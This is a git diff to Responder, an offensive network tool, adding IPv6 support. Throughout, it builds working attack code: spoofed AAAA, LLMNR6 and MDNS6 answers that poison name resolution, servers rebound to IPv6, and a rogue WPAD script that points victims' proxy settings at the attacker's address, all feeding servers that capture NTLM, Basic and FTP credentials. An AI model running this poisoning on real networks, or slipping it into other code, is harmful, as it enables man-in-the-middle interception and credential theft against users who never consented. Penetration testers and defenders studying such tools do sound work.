diff --git a/Responder.py b/Responder.py
index b8a819e..17f0a68 100755
--- a/Responder.py
+++ b/Responder.py
@@ -29,14 +29,12 @@ parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
-
+parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
-parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
-parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
@@ -75,10 +73,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
- raise
pass
UDPServer.server_bind(self)
@@ -91,10 +90,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
- raise
pass
TCPServer.server_bind(self)
@@ -107,10 +107,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
- raise
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self)
@@ -118,12 +119,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.251"
-
+ MADDR6 = 'ff02::fb'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
-
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
+ #IPV6:
+ if (sys.version_info > (3, 0)):
+ mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
+ else:
+ mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -131,21 +138,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
- raise
pass
UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self):
- MADDR = "224.0.0.252"
+ MADDR = '224.0.0.252'
+ MADDR6 = 'FF02:0:0:0:0:0:1:3'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
- self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
-
+ self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
-
+
+ #IPV6:
+ mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -153,51 +164,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
+ self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
- raise
- #pass
+ pass
UDPServer.server_bind(self)
+
ThreadingUDPServer.allow_reuse_address = 1
+ThreadingUDPServer.address_family = socket.AF_INET6
+
ThreadingTCPServer.allow_reuse_address = 1
+ThreadingTCPServer.address_family = socket.AF_INET6
+
ThreadingUDPMDNSServer.allow_reuse_address = 1
+ThreadingUDPMDNSServer.address_family = socket.AF_INET6
+
ThreadingUDPLLMNRServer.allow_reuse_address = 1
+ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
+
ThreadingTCPServerAuth.allow_reuse_address = 1
+ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler):
try:
- server = ThreadingUDPServer((host, port), handler)
+ server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler):
- serve_thread_udp_broadcast(host, port, handler)
+ serve_thread_udp_broadcast('', port, handler)
def serve_MDNS_poisoner(host, port, handler):
try:
- server = ThreadingUDPMDNSServer((host, port), handler)
+ server = ThreadingUDPMDNSServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler):
try:
- server = ThreadingUDPLLMNRServer((host, port), handler)
+ server = ThreadingUDPLLMNRServer(('', port), handler)
server.serve_forever()
except:
- raise
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
-
+
def serve_thread_udp(host, port, handler):
try:
if OsInterfaceIsSupported():
- server = ThreadingUDPServer((host, port), handler)
+ server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
else:
- server = ThreadingUDPServer((host, port), handler)
+ server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
@@ -205,10 +226,10 @@ def serve_thread_udp(host, port, handler):
def serve_thread_tcp(host, port, handler):
try:
if OsInterfaceIsSupported():
- server = ThreadingTCPServer((host, port), handler)
+ server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
else:
- server = ThreadingTCPServer((host, port), handler)
+ server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -216,10 +237,10 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_tcp_auth(host, port, handler):
try:
if OsInterfaceIsSupported():
- server = ThreadingTCPServerAuth((host, port), handler)
+ server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
else:
- server = ThreadingTCPServerAuth((host, port), handler)
+ server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -231,11 +252,11 @@ def serve_thread_SSL(host, port, handler):
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if OsInterfaceIsSupported():
- server = ThreadingTCPServer((host, port), handler)
+ server = ThreadingTCPServer(('', port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever()
else:
- server = ThreadingTCPServer((host, port), handler)
+ server = ThreadingTCPServer(('', port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server.serve_forever()
except:
@@ -243,7 +264,10 @@ def serve_thread_SSL(host, port, handler):
def main():
try:
+ if (sys.version_info < (3, 0)):
+ print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
+
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
diff --git a/packets.py b/packets.py
index e533cf6..07c9a7d 100755
--- a/packets.py
+++ b/packets.py
@@ -23,7 +23,7 @@ import re
from os import urandom
from base64 import b64decode, b64encode
from odict import OrderedDict
-from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
+from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, RespondWithIPPton, RespondWithIP, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
# Packet class handling all packet generation (see odict.py).
class Packet():
@@ -90,6 +90,32 @@ class DNS_Ans(Packet):
self.fields["IP"] = RespondWithIPAton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
+class DNS6_Ans(Packet):
+ fields = OrderedDict([
+ ("Tid", ""),
+ ("Flags", "\x85\x10"),
+ ("Question", "\x00\x01"),
+ ("AnswerRRS", "\x00\x01"),
+ ("AuthorityRRS", "\x00\x00"),
+ ("AdditionalRRS", "\x00\x00"),
+ ("QuestionName", ""),
+ ("QuestionNameNull", "\x00"),
+ ("Type", "\x00\x1c"),
+ ("Class", "\x00\x01"),
+ ("AnswerPointer", "\xc0\x0c"),
+ ("Type1", "\x00\x1c"),
+ ("Class1", "\x00\x01"),
+ ("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
+ ("IPLen", "\x00\x04"),
+ ("IP", "\x00\x00\x00\x00"),
+ ])
+
+ def calculate(self,data):
+ self.fields["Tid"] = data[0:2]
+ self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
+ self.fields["IP"] = RespondWithIPPton()
+ self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
+
class DNS_SRV_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
@@ -181,6 +207,35 @@ class LLMNR_Ans(Packet):
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
+class LLMNR6_Ans(Packet):
+ fields = OrderedDict([
+ ("Tid", ""),
+ ("Flags", "\x80\x00"),
+ ("Question", "\x00\x01"),
+ ("AnswerRRS", "\x00\x01"),
+ ("AuthorityRRS", "\x00\x00"),
+ ("AdditionalRRS", "\x00\x00"),
+ ("QuestionNameLen", "\x09"),
+ ("QuestionName", ""),
+ ("QuestionNameNull", "\x00"),
+ ("Type", "\x00\x1c"),
+ ("Class", "\x00\x01"),
+ ("AnswerNameLen", "\x09"),
+ ("AnswerName", ""),
+ ("AnswerNameNull", "\x00"),
+ ("Type1", "\x00\x1c"),
+ ("Class1", "\x00\x01"),
+ ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
+ ("IPLen", "\x00\x04"),
+ ("IP", "\x00\x00\x00\x00"),
+ ])
+
+ def calculate(self):
+ self.fields["IP"] = RespondWithIPPton()
+ self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
+ self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
+ self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
+
# MDNS Answer Packet
class MDNS_Ans(Packet):
fields = OrderedDict([
@@ -200,6 +255,29 @@ class MDNS_Ans(Packet):
])
def calculate(self):
+ self.fields["IP"] = RespondWithIPAton()
+ self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
+
+# MDNS6 Answer Packet
+class MDNS6_Ans(Packet):
+ fields = OrderedDict([
+ ("Tid", "\x00\x00"),
+ ("Flags", "\x84\x00"),
+ ("Question", "\x00\x00"),
+ ("AnswerRRS", "\x00\x01"),
+ ("AuthorityRRS", "\x00\x00"),
+ ("AdditionalRRS", "\x00\x00"),
+ ("AnswerName", ""),
+ ("AnswerNameNull", "\x00"),
+ ("Type", "\x00\x1c"),
+ ("Class", "\x00\x01"),
+ ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
+ ("IPLen", "\x00\x04"),
+ ("IP", "\x00\x00\x00\x00"),
+ ])
+
+ def calculate(self):
+ self.fields["IP"] = RespondWithIPPton()
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
################### DHCP SRV ######################
@@ -299,7 +377,7 @@ class IIS_Auth_Granted(Packet):
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
- ("Payload", "\n
\n\n\n
\n\n\n"),
+ ("Payload", "\n\n\n\n
\n\n\n"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -358,7 +436,7 @@ class WPADScript(Packet):
("ContentLen", "Content-Length: "),
("ActualLen", "76"),
("CRLF", "\r\n\r\n"),
- ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
+ ("Payload", "function FindProxyForURL(url, host){return 'PROXY "+RespondWithIP()+":3141; DIRECT';}"),
])
def calculate(self):
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
@@ -2228,7 +2306,7 @@ class SamLogonResponseEx(Packet):
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
- ("Username", "LGANDX"),
+ ("Username", settings.Config.Username),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),
diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py
old mode 100644
new mode 100755
index c56c8cb..296302b
--- a/poisoners/LLMNR.py
+++ b/poisoners/LLMNR.py
@@ -14,9 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
-
-import fingerprint
-from packets import LLMNR_Ans
+from packets import LLMNR_Ans, LLMNR6_Ans
from utils import *
if (sys.version_info > (3, 0)):
@@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
-
-
-
def Parse_LLMNR_Name(data):
import codecs
NameLen = data[12]
@@ -60,14 +55,13 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
+ LLMNRType = Parse_IPV6_Addr(data)
+
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
- if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
- Finger = None
- if settings.Config.Finger_On_Off:
- Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
-
+ #IPv4
+ if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
@@ -77,7 +71,8 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'ForName': Name,
'AnalyzeMode': '1',
})
- else: # Poisoning Mode
+
+ elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
@@ -89,8 +84,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'ForName': Name,
'AnalyzeMode': '0',
})
- if Finger is not None:
- print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
- print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
+
+ elif LLMNRType == 'IPv6':
+ Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
+ Buffer1.calculate()
+ soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
+ LineHeader = "[*] [LLMNR]"
+ print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
+ SavePoisonersToDb({
+ 'Poisoner': 'LLMNR6',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Name,
+ 'AnalyzeMode': '0',
+ })
+
except:
raise
diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py
old mode 100644
new mode 100755
index dfb80ae..6973dc0
--- a/poisoners/MDNS.py
+++ b/poisoners/MDNS.py
@@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
-from packets import MDNS_Ans
+from packets import MDNS_Ans, MDNS6_Ans
from utils import *
def Parse_MDNS_Name(data):
@@ -51,37 +51,45 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler):
def handle(self):
- MADDR = "224.0.0.251"
- MPORT = 5353
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
-
+ MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
+
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
if settings.Config.AnalyzeMode: # Analyze Mode
- if Parse_IPV6_Addr(data):
- print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
- SavePoisonersToDb({
- 'Poisoner': 'MDNS',
- 'SentToIp': self.client_address[0],
- 'ForName': Request_Name,
- 'AnalyzeMode': '1',
- })
- else: # Poisoning Mode
- if Parse_IPV6_Addr(data):
+ print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
+ SavePoisonersToDb({
+ 'Poisoner': 'MDNS',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Request_Name,
+ 'AnalyzeMode': '1',
+ })
+ elif MDNSType == True: # Poisoning Mode
+ Poisoned_Name = Poisoned_MDNS_Name(data)
+ Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
+ Buffer.calculate()
+ soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
+ print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
+ SavePoisonersToDb({
+ 'Poisoner': 'MDNS',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Request_Name,
+ 'AnalyzeMode': '0',
+ })
- Poisoned_Name = Poisoned_MDNS_Name(data)
- Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
- Buffer.calculate()
- soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
-
- print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
- SavePoisonersToDb({
- 'Poisoner': 'MDNS',
- 'SentToIp': self.client_address[0],
- 'ForName': Request_Name,
- 'AnalyzeMode': '0',
- })
+ elif MDNSType == 'IPv6': # Poisoning Mode
+ Poisoned_Name = Poisoned_MDNS_Name(data)
+ Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
+ Buffer.calculate()
+ soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
+ print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
+ SavePoisonersToDb({
+ 'Poisoner': 'MDNS6',
+ 'SentToIp': self.client_address[0],
+ 'ForName': Request_Name,
+ 'AnalyzeMode': '0',
+ })
diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py
old mode 100644
new mode 100755
index 5000e81..088f667
--- a/poisoners/NBTNS.py
+++ b/poisoners/NBTNS.py
@@ -14,7 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
-import fingerprint
import sys
from packets import NBT_Ans
from utils import *
@@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
-# Define what are we answering to.
-def Validate_NBT_NS(data):
- print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
- if settings.Config.AnalyzeMode:
- return False
- elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
- return True
- elif settings.Config.NBTNSDomain:
- if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
- return True
- elif settings.Config.Wredirect:
- if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
- return True
- return False
-
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
@@ -51,10 +35,6 @@ class NBTNS(BaseRequestHandler):
return None
if data[2:4] == b'\x01\x10':
- Finger = None
- if settings.Config.Finger_On_Off:
- Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
-
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
@@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '0',
})
- if Finger is not None:
- print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
- print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
diff --git a/servers/DNS.py b/servers/DNS.py
index 528c078..97cf140 100755
--- a/servers/DNS.py
+++ b/servers/DNS.py
@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
from utils import *
-from packets import DNS_Ans, DNS_SRV_Ans
+from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@@ -28,6 +28,8 @@ def ParseDNSType(data):
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
+ if QueryTypeClass == "\x00\x1c\x00\x01":
+ return "IPv6"
@@ -53,7 +55,15 @@ class DNS(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
+ if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
+ buff = DNS6_Ans()
+ buff.calculate(NetworkRecvBufferPython2or3(data))
+ soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
+ ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
+ print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
+
except Exception:
+ raise
pass
# DNS Server TCP Class
@@ -79,5 +89,13 @@ class DNSTCP(BaseRequestHandler):
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
+ if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
+ buff = DNS6_Ans()
+ buff.calculate(NetworkRecvBufferPython2or3(data))
+ self.request.send(NetworkSendBufferPython2or3(buff))
+ ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
+ print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
+
except Exception:
+ raise
pass
diff --git a/servers/FTP.py b/servers/FTP.py
old mode 100644
new mode 100755
index cd249ac..b60b3d9
--- a/servers/FTP.py
+++ b/servers/FTP.py
@@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
if data[0:4] == b'PASS':
Pass = data[5:].strip().decode("latin-1")
-
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(NetworkSendBufferPython2or3(Packet))
- data = self.request.recv(1024)
SaveToDb({
'module': 'FTP',
@@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
except Exception:
+ raise
pass
diff --git a/servers/HTTP.py b/servers/HTTP.py
old mode 100644
new mode 100755
index 2701ca8..0ce6b73
--- a/servers/HTTP.py
+++ b/servers/HTTP.py
@@ -86,16 +86,6 @@ def GrabCookie(data, host):
return Cookie
return False
-def GrabHost(data, host):
- Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
-
- if Host:
- Host = Host.group(0).replace('Host: ', '')
- if settings.Config.Verbose:
- print(text("[HTTP] Host : %s " % color(Host, 3)))
- return Host
- return False
-
def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
@@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
GrabURL(data, client)
- GrabReferer(data, client)
- GrabHost(data, client)
+ #GrabReferer(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
@@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge):
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
- GrabReferer(data, client)
- GrabHost(data, client)
+ #GrabReferer(data, client)
GrabCookie(data, client)
SaveToDb({
@@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler):
except:
pass
+
diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py
old mode 100644
new mode 100755
index 2b23dbf..fcade5e
--- a/servers/HTTP_Proxy.py
+++ b/servers/HTTP_Proxy.py
@@ -207,7 +207,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
rbufsize = 0
def handle(self):
- (ip, port) = self.client_address
+ (ip, port) = self.client_address[0], self.client_address[1]
if settings.Config.Verbose:
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
self.__base_handle()
@@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try:
if self._connect_to(self.path, soc):
- self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
- self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
- self.wfile.write("\r\n")
+ self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
+ self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
+ self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
try:
self._read_write(soc, 300)
except:
pass
except:
+ raise
pass
finally:
diff --git a/servers/MSSQL.py b/servers/MSSQL.py
old mode 100644
new mode 100755
diff --git a/servers/RDP.py b/servers/RDP.py
old mode 100644
new mode 100755
index 82edbe7..f2e5bd1
--- a/servers/RDP.py
+++ b/servers/RDP.py
@@ -105,7 +105,7 @@ class RDP(BaseRequestHandler):
h.calculate()
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
- SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
+ SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
